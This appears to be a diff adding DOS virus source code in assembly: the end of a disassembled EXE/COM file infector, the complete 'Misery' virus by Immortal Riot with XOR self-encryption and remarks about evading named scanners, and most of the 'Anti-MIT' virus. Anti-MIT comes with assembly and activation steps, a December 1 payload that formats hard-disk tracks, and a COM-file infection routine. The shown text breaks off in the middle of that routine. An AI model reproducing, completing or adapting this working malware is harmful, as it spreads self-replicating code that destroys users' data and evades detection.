cmp ax,6f76h
|
||||
jz b004ee ;Jump if equal (ZF=1)
|
||||
cmp ax,6578h
|
||||
jnz b004f5 ;Jump not equal(ZF=0)
|
||||
call s3 ;<004f8>
|
||||
cmp al,65h ;(e)
|
||||
jmp short b004f5
|
||||
b004ee: call s3 ;<004f8>
|
||||
jnz b004f5 ;Jump not equal(ZF=0)
|
||||
b004f3: inc al
|
||||
b004f5: pop si
|
||||
pop ax
|
||||
ret
|
||||
s2 endp
|
||||
|
||||
;<004f8>
|
||||
s3 proc near
|
||||
lodsb ;Load AL with DS:[SI]
|
||||
cmp al,43h ;(C)
|
||||
jb b00503 ;Jump if < (no sign)
|
||||
cmp al,59h ;(Y)
|
||||
jnb b00503 ;Jump if >= (no sign)
|
||||
add al,19h
|
||||
b00503: ret
|
||||
s3 endp
|
||||
|
||||
;<00504>
|
||||
s4 proc near
|
||||
pushf ;Push flags on Stack
|
||||
call DWORD PTR cs:[d00718]
|
||||
ret
|
||||
s4 endp
|
||||
|
||||
;<0050b>
|
||||
s5 proc near
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov si,ds
|
||||
xor ax,ax ;Load register w/ 0
|
||||
mov ds,ax
|
||||
les ax,DWORD PTR [d00090]
|
||||
push es
|
||||
push ax
|
||||
mov WORD PTR [d00090],02b2h
|
||||
mov WORD PTR [d00092],cs
|
||||
les ax,DWORD PTR [d0004c]
|
||||
mov WORD PTR cs:[d006c2],ax
|
||||
mov WORD PTR cs:[d006c4],es
|
||||
mov WORD PTR [d0004c],06adh
|
||||
mov WORD PTR [d0004e],cs
|
||||
push es
|
||||
push ax
|
||||
mov ds,si
|
||||
xor cx,cx ;Load register w/ 0
|
||||
mov ax,4300h
|
||||
call s4 ;<00504>
|
||||
mov bx,cx
|
||||
and cl,0feh
|
||||
cmp cl,bl
|
||||
jz b0055c ;Jump if equal (ZF=1)
|
||||
mov ax,4301h
|
||||
call s4 ;<00504>
|
||||
stc
|
||||
b0055c: pushf ;Push flags on Stack
|
||||
push ds
|
||||
push dx
|
||||
push bx
|
||||
mov ax,3d02h
|
||||
call s4 ;<00504>
|
||||
jb b00572 ;Jump if < (no sign)
|
||||
mov bx,ax
|
||||
call s6 ;<0059b>
|
||||
mov ah,3eh
|
||||
call s4 ;<00504>
|
||||
b00572: pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
popf ;Pop flags off Stack
|
||||
jnb b0057e ;Jump if >= (no sign)
|
||||
mov ax,4301h
|
||||
call s4 ;<00504>
|
||||
b0057e: xor ax,ax ;Load register w/ 0
|
||||
mov ds,ax
|
||||
pop WORD PTR [d0004c]
|
||||
pop WORD PTR [d0004e]
|
||||
pop WORD PTR [d00090]
|
||||
pop WORD PTR [d00092]
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
ret
|
||||
s5 endp
|
||||
|
||||
;<0059b>
|
||||
s6 proc near
|
||||
spc=$
|
||||
org 0006c2h
|
||||
d006c2: org 0006c4h
|
||||
d006c4: org 0006d1h
|
||||
d006d1: org 000714h
|
||||
d00714: org 000716h
|
||||
d00716: org 000718h
|
||||
d00718: org 00071ah
|
||||
d0071a: org 00071ch
|
||||
d0071c: org 00071dh
|
||||
d0071d: org 00071eh
|
||||
d0071e: org 000720h
|
||||
d00720: org 000724h
|
||||
d00724: org spc
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov dx,071ch
|
||||
mov cx,0018h
|
||||
mov ah,3fh
|
||||
int 21h ;undefined
|
||||
xor cx,cx ;Load register w/ 0
|
||||
xor dx,dx ;Load register w/ 0
|
||||
mov ax,4202h
|
||||
int 21h ;undefined
|
||||
mov WORD PTR [d00736],dx
|
||||
cmp ax,06b8h
|
||||
sbb dx,00
|
||||
jb b0062c ;Jump if < (no sign)
|
||||
mov WORD PTR [d00734],ax
|
||||
cmp WORD PTR [d0071c],5a4dh
|
||||
jnz b005e0 ;Jump not equal(ZF=0)
|
||||
mov ax,WORD PTR [d00724]
|
||||
add ax,WORD PTR [s8 ;<00732>]
|
||||
call s11 ;<007a7>
|
||||
add ax,WORD PTR [d00730]
|
||||
adc dx,00
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
jmp short b005f5
|
||||
b005e0: cmp BYTE PTR [d0071c],0e9h
|
||||
jnz b0062d ;Jump not equal(ZF=0)
|
||||
mov dx,WORD PTR [b0071d]
|
||||
add dx,0103h
|
||||
jb b0062d ;Jump if < (no sign)
|
||||
dec dh
|
||||
xor cx,cx ;Load register w/ 0
|
||||
b005f5: sub dx,68h
|
||||
sbb cx,00
|
||||
mov ax,4200h
|
||||
int 21h ;undefined
|
||||
add ax,06d1h
|
||||
adc dx,00
|
||||
cmp ax,WORD PTR [d00734]
|
||||
jnz b0062d ;Jump not equal(ZF=0)
|
||||
cmp dx,WORD PTR [d00736]
|
||||
jnz b0062d ;Jump not equal(ZF=0)
|
||||
mov dx,0738h
|
||||
mov si,dx
|
||||
mov cx,06b8h
|
||||
mov ah,3fh
|
||||
int 21h ;undefined
|
||||
jb b0062d ;Jump if < (no sign)
|
||||
cmp cx,ax
|
||||
jnz b0062d ;Jump not equal(ZF=0)
|
||||
xor di,di ;Load register w/ 0
|
||||
b00626: lodsb ;Load AL with DS:[SI]
|
||||
scasb ;Flags = AL - ES:[DI]
|
||||
jnz b0062d ;Jump not equal(ZF=0)
|
||||
loop b00626 ;Dec CX;Loop if CX>0
|
||||
b0062c: ret
|
||||
b0062d: xor cx,cx ;Load register w/ 0
|
||||
xor dx,dx ;Load register w/ 0
|
||||
mov ax,4202h
|
||||
int 21h ;undefined
|
||||
cmp WORD PTR [d0071c],5a4dh
|
||||
jz b00647 ;Jump if equal (ZF=1)
|
||||
add ax,091ch
|
||||
adc dx,00
|
||||
jz b0065e ;Jump if equal (ZF=1)
|
||||
ret
|
||||
b00647: mov dx,WORD PTR [d00734]
|
||||
neg dl
|
||||
and dx,0fh
|
||||
xor cx,cx ;Load register w/ 0
|
||||
mov ax,4201h
|
||||
int 21h ;undefined
|
||||
mov WORD PTR [d00734],ax
|
||||
mov WORD PTR [d00736],dx
|
||||
b0065e: mov ax,5700h
|
||||
int 21h ;undefined
|
||||
pushf ;Push flags on Stack
|
||||
push cx
|
||||
push dx
|
||||
cmp WORD PTR [d0071c],5a4dh
|
||||
jz b00673 ;Jump if equal (ZF=1)
|
||||
mov ax,0100h
|
||||
jmp short b0067a
|
||||
b00673: mov ax,WORD PTR [d00730]
|
||||
mov dx,WORD PTR [s8 ;<00732>]
|
||||
b0067a: mov di,06c6h
|
||||
stosw ;Store AX at ES:[DI]
|
||||
mov ax,dx
|
||||
stosw ;Store AX at ES:[DI]
|
||||
mov ax,WORD PTR [d0072c]
|
||||
stosw ;Store AX at ES:[DI]
|
||||
mov ax,WORD PTR [d0072a]
|
||||
stosw ;Store AX at ES:[DI]
|
||||
mov si,071ch
|
||||
movsb ;Mov DS:[SI]->ES:[DI]
|
||||
movsw ;Mov DS:[SI]->ES:[DI]
|
||||
xor dx,dx ;Load register w/ 0
|
||||
mov cx,06d1h
|
||||
mov ah,40h
|
||||
int 21h ;undefined
|
||||
jb b006bf ;Jump if < (no sign)
|
||||
xor cx,ax
|
||||
jnz b006bf ;Jump not equal(ZF=0)
|
||||
mov dx,cx
|
||||
mov ax,4200h
|
||||
int 21h ;undefined
|
||||
cmp WORD PTR [d0071c],5a4dh
|
||||
jz b006c1 ;Jump if equal (ZF=1)
|
||||
mov BYTE PTR [d0071c],0e9h
|
||||
mov ax,WORD PTR [d00734]
|
||||
add ax,0065h
|
||||
mov WORD PTR [b0071d],ax
|
||||
mov cx,0003h
|
||||
jmp short b00716
|
||||
b006bf: jmp short b0071d
|
||||
b006c1: call s10 ;<007a4>
|
||||
not ax
|
||||
not dx
|
||||
inc ax
|
||||
jnz b006cc ;Jump not equal(ZF=0)
|
||||
inc dx
|
||||
b006cc: add ax,WORD PTR [d00734]
|
||||
adc dx,WORD PTR [d00736]
|
||||
mov cx,0010h
|
||||
div cx
|
||||
mov WORD PTR [d00730],0068h
|
||||
mov WORD PTR [s8 ;<00732>],ax
|
||||
add ax,006eh
|
||||
mov WORD PTR [d0072a],ax
|
||||
mov WORD PTR [d0072c],0100h
|
||||
add WORD PTR [d00734],06d1h
|
||||
adc WORD PTR [d00736],00
|
||||
mov ax,WORD PTR [d00734]
|
||||
and ax,01ffh
|
||||
mov WORD PTR [d0071e],ax
|
||||
pushf ;Push flags on Stack
|
||||
mov ax,WORD PTR [d00735]
|
||||
shr BYTE PTR [d00737],1 ;Divide by 2's
|
||||
rcr ax,1 ;CF-->[HI .. LO]-->CF
|
||||
popf ;Pop flags off Stack
|
||||
jz b00710 ;Jump if equal (ZF=1)
|
||||
inc ax
|
||||
b00710: mov WORD PTR [d00720],ax
|
||||
mov cx,0018h
|
||||
b00716: mov dx,071ch
|
||||
mov ah,40h
|
||||
int 21h ;undefined
|
||||
b0071d: pop dx
|
||||
pop cx
|
||||
popf ;Pop flags off Stack
|
||||
jb b00727 ;Jump if < (no sign)
|
||||
mov ax,5701h
|
||||
int 21h ;undefined
|
||||
b00727: ret
|
||||
s6 endp
|
||||
|
||||
;<00728>
|
||||
s7 proc near
|
||||
spc=$
|
||||
org 00072ah
|
||||
d0072a: org 00072ch
|
||||
d0072c: org 000730h
|
||||
d00730: org spc
|
||||
push ds
|
||||
call s9 ;<0078b>
|
||||
mov BYTE PTR [d00000],4dh
|
||||
pop ds
|
||||
s7 endp
|
||||
|
||||
;<00732>
|
||||
s8 proc near
|
||||
spc=$
|
||||
org 000732h
|
||||
d00732: org 000734h
|
||||
d00734: org 000735h
|
||||
d00735: org 000736h
|
||||
d00736: org 000737h
|
||||
d00737: org spc
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
xor bx,bx ;Load register w/ 0
|
||||
mov ds,bx
|
||||
lds dx,DWORD PTR [d00084]
|
||||
cmp dx,02fah
|
||||
jnz b0074e ;Jump not equal(ZF=0)
|
||||
mov ax,ds
|
||||
mov bx,cs
|
||||
cmp ax,bx
|
||||
jz b00786 ;Jump if equal (ZF=1)
|
||||
xor bx,bx ;Load register w/ 0
|
||||
b0074e: mov ax,WORD PTR [bx]
|
||||
cmp ax,02fah
|
||||
jnz b0075c ;Jump not equal(ZF=0)
|
||||
mov ax,cs
|
||||
cmp ax,WORD PTR [bx+02]
|
||||
jz b00761 ;Jump if equal (ZF=1)
|
||||
b0075c: inc bx
|
||||
jnz b0074e ;Jump not equal(ZF=0)
|
||||
jz b0077a ;Jump if equal (ZF=1)
|
||||
b00761: mov ax,WORD PTR cs:[d00718]
|
||||
mov WORD PTR [bx],ax
|
||||
mov ax,WORD PTR cs:[d0071a]
|
||||
mov WORD PTR [bx+02],ax
|
||||
mov WORD PTR cs:[d00718],dx
|
||||
mov WORD PTR cs:[d0071a],ds
|
||||
xor bx,bx ;Load register w/ 0
|
||||
b0077a: mov ds,bx
|
||||
mov WORD PTR [d00084],02fah
|
||||
mov WORD PTR [d00086],cs
|
||||
b00786: pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
ret
|
||||
s8 endp
|
||||
|
||||
;<0078b>
|
||||
s9 proc near
|
||||
push ax
|
||||
push bx
|
||||
mov ah,62h
|
||||
call s4 ;<00504>
|
||||
mov ax,cs
|
||||
dec ax
|
||||
dec bx
|
||||
b00796: mov ds,bx
|
||||
stc
|
||||
adc bx,WORD PTR [d00003]
|
||||
cmp bx,ax
|
||||
jb b00796 ;Jump if < (no sign)
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
s9 endp
|
||||
|
||||
;<007a4>
|
||||
s10 proc near
|
||||
mov ax,WORD PTR [d00724]
|
||||
s10 endp
|
||||
|
||||
;<007a7>
|
||||
s11 proc near
|
||||
mov dx,0010h
|
||||
mul dx
|
||||
ret
|
||||
;-----------------------------------------------------
|
||||
cmp ah,03
|
||||
jnz b007c1 ;Jump not equal(ZF=0)
|
||||
cmp dl,80h
|
||||
jnb b007bc ;Jump if >= (no sign)
|
||||
jmp 0000:0000
|
||||
b007bc: jmp 0000:0000
|
||||
b007c1: jmp 0000:0000
|
||||
;-----------------------------------------------------
|
||||
db 00,01 ;0000:07c6 ..
|
||||
db 6d dup (00h) ;0000:07c8 (.)
|
||||
db 0cdh,20,90,90,90,90 ;0000:07ce . ....
|
||||
s11 endp
|
||||
spc=$
|
||||
org 000000h
|
||||
d00000: org 000001h
|
||||
d00001: org 000002h
|
||||
d00002: org 000003h
|
||||
d00003: org 000006h
|
||||
d00006: org 00002ah
|
||||
d0002a: org 00004ch
|
||||
d00086: org 000090h
|
||||
d00090: org 000092h
|
||||
d00092: org 00009ch
|
||||
d0009c: org 00009eh
|
||||
d0009e: org spc
|
||||
cseg ends
|
||||
end o00100
|
||||
|
||||
@@ -0,0 +1,252 @@
|
||||
; VirusName: Misery
|
||||
; Country : Sweden
|
||||
; Author : Metal Militia / Immortal Riot
|
||||
; Date : 07-22-1993
|
||||
;
|
||||
; This is an mutation of Leprosy from 'PCM2'.
|
||||
; Many thanks to the scratch coder of Leprosy
|
||||
;
|
||||
; We've tried this virus ourself, and it works just fine.
|
||||
; It copies itself into other exe/com files on the
|
||||
; current drive, and uses dot-dot for changing directory.
|
||||
; Originally found in the United States Of America.
|
||||
;
|
||||
; There has been many mutations born from this virus,
|
||||
; and here we give you another contribution.
|
||||
|
||||
; McAfee Scan v105 can't find it, and
|
||||
; S&S Toolkit 6.5 don't find it either.
|
||||
; I haven't tried with scanners like Fprot/Tbscan,
|
||||
; but they will probably report some virus structure.
|
||||
;
|
||||
; Best Regards : [Metal Militia]
|
||||
; [The Unforgiven]
|
||||
|
||||
title "MiSERY / Immortal Riot'93"
|
||||
|
||||
cr equ 13 ; Carriage return ASCII code
|
||||
lf equ 10 ; Linefeed ASCII code
|
||||
tab equ 9 ; Tab ASCII code
|
||||
virus_size equ 664 ; Size of the virus file
|
||||
code_start equ 100h ; Address right after PSP in memory
|
||||
dta equ 80h ; Addr of default disk transfer area
|
||||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||
attribute equ 21 ; Offset in DTA of file attribute
|
||||
|
||||
|
||||
code segment 'code' ; Open code segment
|
||||
assume cs:code,ds:code ; One segment for both code & data
|
||||
org code_start ; Start code image after PSP
|
||||
|
||||
;---------------------------------------------------------------------
|
||||
; All executable code is contained in boundaries of procedure "main".
|
||||
; The following code, until the start of "virus_code", is the non-
|
||||
; encrypted CMT portion of the code to load up the real program.
|
||||
;---------------------------------------------------------------------
|
||||
main proc near ; Code execution begins here
|
||||
call encrypt_decrypt ; Decrypt the real virus code
|
||||
jmp random_mutation ; Put the virus into action
|
||||
|
||||
encrypt_val db 00h ; Hold value to encrypt by here
|
||||
|
||||
; ---------- Encrypt, save, and restore the virus code -----------
|
||||
infect_file:
|
||||
mov bx,handle ; Get the handle
|
||||
push bx ; Save it on the stack
|
||||
call encrypt_decrypt ; Encrypt most of the code
|
||||
pop bx ; Get back the handle
|
||||
mov cx,virus_size ; Total number of bytes to write
|
||||
mov dx,code_start ; Buffer where code starts in memory
|
||||
mov ah,40h ; DOS write-to-handle service
|
||||
int 21h ; Write the virus code into the file
|
||||
call encrypt_decrypt ; Restore the code as it was
|
||||
ret ; Go back to where you came from
|
||||
|
||||
; --------------- Encrypt or decrypt the virus code ----------------
|
||||
encrypt_decrypt:
|
||||
mov bx,offset virus_code ; Get address to start encrypt/decrypt
|
||||
xor_loop: ; Start cycle here
|
||||
mov ah,[bx] ; Get the current byte
|
||||
xor al,encrypt_val ; Engage/disengage XOR scheme on it
|
||||
mov [bx],ah ; Put it back where we got it
|
||||
inc bx ; Move BX ahead a byte
|
||||
cmp bx,offset virus_code+virus_size ; Are we at the end?
|
||||
jle xor_loop ; If not, do another cycle
|
||||
ret ; and go back where we came from
|
||||
|
||||
;-----------------------------------------------------------------------
|
||||
; The rest of the code from here on remains encrypted until run-time,
|
||||
; using a fundamental XOR technique that changes via CMT.
|
||||
;-----------------------------------------------------------------------
|
||||
virus_code:
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; All strings are kept here in the file, and automatically encrypted.
|
||||
; Please don't be a lamer and change the strings and say you wrote a virus.
|
||||
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
|
||||
; changes, even when the strings stay the same.
|
||||
;----------------------------------------------------------------------------
|
||||
exe_filespec db "*.EXE",0 ; To infect EXE's
|
||||
com_filespec db "*.COM",0 ; To infect COM's
|
||||
newdir db "..",0 ; Move up one directory
|
||||
fake_msg db cr,lf,"Metal up your ass..$"
|
||||
virus_msg1 db cr,lf,tab,"My friend of Misery...$"
|
||||
virus_msg2 db cr,lf,tab,"Hearing only what you want to hear $"
|
||||
virus_msg3 db cr,lf,tab,"and knowing only what you've heard$"
|
||||
virus_msg4 db cr,lf,tab,"you you're smothered in tragedy$"
|
||||
virus_msg5 db cr,lf,tab,"you're out to save the world$"
|
||||
compare_buf db 20 dup (?) ; Buffer to compare files in
|
||||
files_found db ?
|
||||
files_infected db ?
|
||||
orig_time dw ?
|
||||
orig_date dw ?
|
||||
orig_attr dw ?
|
||||
handle dw ?
|
||||
success db ?
|
||||
|
||||
random_mutation: ; First decide if virus is to mutate
|
||||
mov ah,2ch ; Set up DOS function to get time
|
||||
int 21h
|
||||
cmp encrypt_val,0 ; Is this a first-run virus copy?
|
||||
je install_val ; If so, install whatever you get.
|
||||
cmp dh,15 ; Is it less than 16 seconds?
|
||||
jg find_extension ; If not, don't mutate this time
|
||||
install_val:
|
||||
cmp dl,0 ; Will we be encrypting using zero?
|
||||
je random_mutation ; If so, get a new value.
|
||||
mov encrypt_val,dl ; Otherwise, save the new value
|
||||
find_extension: ; Locate file w/ valid extension
|
||||
mov files_found,0 ; Count infected files found
|
||||
mov files_infected,4 ; BX counts file infected so far
|
||||
mov success,0
|
||||
find_exe:
|
||||
mov cx,00100111b ; Look for all flat file attributes
|
||||
mov dx,offset exe_filespec ; Check for .EXE extension first
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je find_com ; If not, nothing more to do
|
||||
call find_healthy ; Otherwise, try to find healthy .EXE
|
||||
find_com:
|
||||
mov cx,00100111b ; Look for all flat file attributes
|
||||
mov dx,offset com_filespec ; Check for .COM extension now
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je chdir ; If not, step back a directory
|
||||
call find_healthy ; Otherwise, try to find healthy .COM
|
||||
chdir: ; Routine to step back one level
|
||||
mov dx,offset newdir ; Load DX with address of pathname
|
||||
mov ah,3bh ; Change directory DOS service
|
||||
int 21h
|
||||
dec files_infected ; This counts as infecting a file
|
||||
jnz find_exe ; If we're still rolling, find another
|
||||
jmp exit_virus ; Otherwise let's pack it up
|
||||
find_healthy:
|
||||
mov bx,dta ; Point BX to address of DTA
|
||||
mov ax,[bx]+attribute ; Get the current file's attribute
|
||||
mov orig_attr,ax ; Save it
|
||||
mov ax,[bx]+timestamp ; Get the current file's time stamp
|
||||
mov orig_time,ax ; Save it
|
||||
mov ax,[bx]+datestamp ; Get the current file's data stamp
|
||||
mov orig_date,ax ; Save it
|
||||
mov dx,dta+filename ; Get the filename to change attribute
|
||||
mov cx,0 ; Clear all attribute bytes
|
||||
mov al,1 ; Set attribute sub-function
|
||||
mov ah,43h ; Call DOS service to do it
|
||||
int 21h
|
||||
mov al,2 ; Set up to open handle for read/write
|
||||
mov ah,3dh ; Open file handle DOS service
|
||||
int 21h
|
||||
mov handle,ax ; Save the file handle
|
||||
mov bx,ax ; Transfer the handle to BX for read
|
||||
mov cx,20 ; Read in the top 20 bytes of file
|
||||
mov dx,offset compare_buf ; Use the small buffer up top
|
||||
mov ah,3fh ; DOS read-from-handle service
|
||||
int 21h
|
||||
mov bx,offset compare_buf ; Adjust the encryption value
|
||||
mov ah,encrypt_val ; for accurate comparison
|
||||
mov [bx+6],ah
|
||||
mov si,code_start ; One array to compare is this file
|
||||
mov di,offset compare_buf ; The other array is the buffer
|
||||
mov ax,ds ; Transfer the DS register...
|
||||
mov es,ax ; ...to the ES register
|
||||
cld
|
||||
repe cmpsb ; Compare the buffer to the virus
|
||||
jne healthy ; If different, the file is healthy!
|
||||
call close_file ; Close it up otherwise
|
||||
inc files_found ; Chalk up another fucked up file
|
||||
continue_search:
|
||||
mov ah,4fh ; Find next DOS function
|
||||
int 21h ; Try to find another same type file
|
||||
cmp ax,12h ; Are there any more files?
|
||||
je no_more_found ; If not, get outta here
|
||||
jmp find_healthy ; If so, try the process on this one!
|
||||
no_more_found:
|
||||
ret ; Go back to where we came from
|
||||
healthy:
|
||||
mov bx,handle ; Get the file handle
|
||||
mov ah,3eh ; Close it for now
|
||||
int 21h
|
||||
mov ah,3dh ; Open it again, to reset it
|
||||
mov dx,dta+filename
|
||||
mov al,2
|
||||
int 21h
|
||||
mov handle,ax ; Save the handle again
|
||||
call infect_file ; Infect the healthy file
|
||||
call close_file ; Close down this operation
|
||||
inc success ; Indicate we did something this time
|
||||
dec files_infected ; Scratch off another file on agenda
|
||||
jz exit_virus ; If we're through, terminate
|
||||
jmp continue_search ; Otherwise, try another
|
||||
ret
|
||||
close_file:
|
||||
mov bx,handle ; Get the file handle off the stack
|
||||
mov cx,orig_time ; Get the date stamp
|
||||
mov dx,orig_date ; Get the time stamp
|
||||
mov al,1 ; Set file date/time sub-service
|
||||
mov ah,57h ; Get/Set file date and time service
|
||||
int 21h ; Call DOS
|
||||
mov bx,handle
|
||||
mov ah,3eh ; Close handle DOS service
|
||||
int 21h
|
||||
mov cx,orig_attr ; Get the file's original attribute
|
||||
mov al,1 ; Instruct DOS to put it back there
|
||||
mov dx,dta+filename ; Feed it the filename
|
||||
mov ah,43h ; Call DOS
|
||||
int 21h
|
||||
ret
|
||||
exit_virus:
|
||||
cmp files_found,15 ; Are at least 15 files infected?
|
||||
jl print_fake ; If not, keep a low profile
|
||||
cmp success,0 ; Did we infect anything?
|
||||
jg print_fake ; If so, cover it up
|
||||
mov ah,09h ; Use DOS print string service
|
||||
mov dx,offset virus_msg1 ; Load the address of the first line
|
||||
int 21h ; Print it
|
||||
mov dx,offset virus_msg2 ; Load the second line
|
||||
int 21h ; (etc)
|
||||
mov dx,offset virus_msg3
|
||||
int 21h
|
||||
mov dx,offset virus_msg4
|
||||
int 21h
|
||||
mov dx,offset virus_msg5
|
||||
int 21h
|
||||
jmp terminate
|
||||
print_fake:
|
||||
mov ah,09h ; Use DOS to print fake error message
|
||||
mov dx,offset fake_msg
|
||||
int 21h
|
||||
terminate:
|
||||
mov ah,4ch ; DOS terminate process function
|
||||
int 21h ; Call DOS to get out of this program
|
||||
|
||||
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
|
||||
|
||||
main endp
|
||||
code ends
|
||||
end main
|
||||
|
||||
|
||||
@@ -0,0 +1,315 @@
|
||||
; ** Anti-MIT Virus **
|
||||
; To assemble, use TASM and TLINK to create a .COM file. Next
|
||||
; run the .COM file in the same directory of a file you want to infect.
|
||||
; Your system may hang, but after re-booting you will notice an increase
|
||||
; in the target files size. Now debug the newly infected file and replace
|
||||
; the first three bytes with E8 05 00 (call to encryption). Re-write the
|
||||
; .COM file and now you should have a running copy of the Anti-Mit virus!
|
||||
;
|
||||
; - Do not distribute the Anti-MIT virus for this
|
||||
; activity is against the law! The author will take
|
||||
; NO responsiblity for others.
|
||||
; TEST ONLY
|
||||
;
|
||||
; For more info see MIT.DOX file.
|
||||
|
||||
|
||||
|
||||
|
||||
name AntiMIT
|
||||
title Anti-MIT: The original Anti-MIT virus code!
|
||||
.radix 16
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100
|
||||
|
||||
buffer equ offset 20000d ; Buffer
|
||||
fname equ offset 20000d + 1eh ; DTA - File name
|
||||
ftime equ offset 20000d + 16h ; DTA - File time
|
||||
fsize equ offset 20000d + 1ah ; DTA - File size
|
||||
olddta equ 80 ; Old DTA area
|
||||
|
||||
start:
|
||||
jmp main ; *See above*
|
||||
nop
|
||||
jmp main ; Jmp to virus body
|
||||
|
||||
encrypt_val db 0 ; Randomized encryption value
|
||||
|
||||
decrypt: ; Encrypt/decrypt engine
|
||||
encrypt: ; [SKISM type]
|
||||
lea si, data
|
||||
mov ah, encrypt_val
|
||||
jmp fool_em ; Fool with the scanners
|
||||
|
||||
xor_loop:
|
||||
lodsb ; ds:[si] -> al
|
||||
xor al, ah
|
||||
stosb ; al -> es:[di]
|
||||
loop xor_loop
|
||||
mov ah,19h ; Set current drive as default
|
||||
int 21h
|
||||
mov dh,al
|
||||
mov ah,0eh
|
||||
int 21h
|
||||
ret
|
||||
|
||||
fool_em:
|
||||
mov di, si
|
||||
mov cx, stop_encrypt - data
|
||||
jmp xor_loop
|
||||
|
||||
|
||||
|
||||
data label byte ; Virus data
|
||||
message db 'MIT Sux! $' ; The "message"
|
||||
lengthp dw ? ; Length of infected file
|
||||
allcom db '*.COM',0 ; What to search for
|
||||
virus db '[Anti-MIT]',0 ; Virus name
|
||||
author db 'FŒrsØStrŒkä',0 ; Author
|
||||
|
||||
main: ; Main virus code
|
||||
mov ah,2ah ; Get the date
|
||||
int 21h
|
||||
|
||||
cmp dh,12d ; Month 12?
|
||||
jnz next ; No
|
||||
|
||||
|
||||
cmp dl,01d ; Day one?
|
||||
jnz next ; No
|
||||
lea dx,message ; Yes, set off the "bomb"
|
||||
mov ah,09h
|
||||
int 21h
|
||||
|
||||
mov ah,05h
|
||||
mov al,02h
|
||||
mov ch,00h
|
||||
mov dh,00h
|
||||
mov dl,80h
|
||||
int 13h
|
||||
|
||||
mov ah,06h
|
||||
int 13h
|
||||
|
||||
mov ah,05h
|
||||
mov dl,00h
|
||||
int 13h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
next:
|
||||
mov cx,lengthp ; Figure out the Jmp
|
||||
sub cx,eendcode-start
|
||||
mov the_jmp,cx
|
||||
|
||||
|
||||
|
||||
|
||||
push es ; Save ES
|
||||
mov ax,3524h ; Get interrupt 24h handler
|
||||
int 21h ; and save it in errhnd
|
||||
mov [err1],bx
|
||||
mov [err2],es
|
||||
pop es ; Restore ES
|
||||
|
||||
mov ax,2524h ; Set interrupt 24h handler
|
||||
lea dx,handler
|
||||
int 21h
|
||||
|
||||
xor dx,dx ; Set DTA in "buffer" area
|
||||
mov si,dx
|
||||
mov dx,buffer
|
||||
add dx,si ; Set new Disk Transfer Address
|
||||
mov ah,1A ; Set DTA
|
||||
int 21
|
||||
|
||||
|
||||
find_first:
|
||||
mov dx,offset allcom ; Search for '*.COM' files
|
||||
mov cx,00000001b ; Normal, Write Protected
|
||||
mov ah,4E ; Find First file
|
||||
int 21
|
||||
jc pre_done ; Quit if none found
|
||||
jmp check_if_ill
|
||||
|
||||
mover: ; The "mover" code
|
||||
push cs ; Store CS
|
||||
pop es ; and move it to ES
|
||||
mov di,0100h
|
||||
lea si,eendcode ; Move original code to
|
||||
add si,the_jmp ; beginning
|
||||
add si,endcode-mover
|
||||
mov cx,eendcode-start
|
||||
rep movsb
|
||||
mov di,0100h ; Jmp to CS:[100h]
|
||||
jmp di
|
||||
|
||||
pre_done:
|
||||
jmp done ; Long jmp
|
||||
|
||||
find_next:
|
||||
mov ah,4fh ; Search for next
|
||||
int 21h
|
||||
jc pre_done
|
||||
|
||||
check_if_ill: ; File infected?
|
||||
mov ax,cs:[ftime]
|
||||
and al,11111b ; Look for the 62 sec marker
|
||||
cmp al,62d/2 ; [Vienna type]
|
||||
jz find_next
|
||||
|
||||
cmp cs:[fsize],19000d ; Check if file larger then
|
||||
ja find_next ; 19000 bytes - if so skip
|
||||
|
||||
cmp cs:[fsize],500d ; Check if file smaller then
|
||||
jb find_next ; 500 bytes - if so skip
|
||||
|
||||
|
||||
mainlp: ; Write the virus
|
||||
mov dx,fname
|
||||
mov ah,43h ; Write enable
|
||||
mov al,0
|
||||
int 21h
|
||||
mov ah,43h
|
||||
mov al,01h
|
||||
and cx,11111110b
|
||||
int 21h
|
||||
|
||||
|
||||
mov ax,3d02h ; Open file (read/write)
|
||||
int 21h
|
||||
jc pre_done
|
||||
mov bx,ax
|
||||
|
||||
mov ax,5700h ; Get date for file
|
||||
int 21h
|
||||
mov [time],cx ; Save date info
|
||||
mov [date],dx
|
||||
|
||||
mov ah,3fh ; Read original code into
|
||||
mov dx,buffer ; buffer (length of virus)
|
||||
mov cx,eendcode-start
|
||||
int 21h
|
||||
jc pre_done
|
||||
cmp ax,eendcode-start
|
||||
jne pre_done
|
||||
|
||||
|
||||
mov ah,42h ; Go to end of file
|
||||
mov al,02h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc pre_done
|
||||
mov cx,ax
|
||||
mov lengthp,ax ; Save original program code
|
||||
|
||||
mov ah,40h ; Write "mover" code to end
|
||||
lea dx,mover ; of file
|
||||
mov cx,endcode-mover
|
||||
int 21h
|
||||
jc done
|
||||
cmp ax,endcode-mover
|
||||
jne done
|
||||
|
||||
mov ah,40h ; Write original program code
|
||||
mov dx,buffer ; to end of the file
|
||||
mov cx,eendcode-start
|
||||
int 21h
|
||||
jc done
|
||||
cmp ax,eendcode-start
|
||||
jne done
|
||||
|
||||
mov ah,42h ; Go to front of file
|
||||
mov al,00h
|
||||
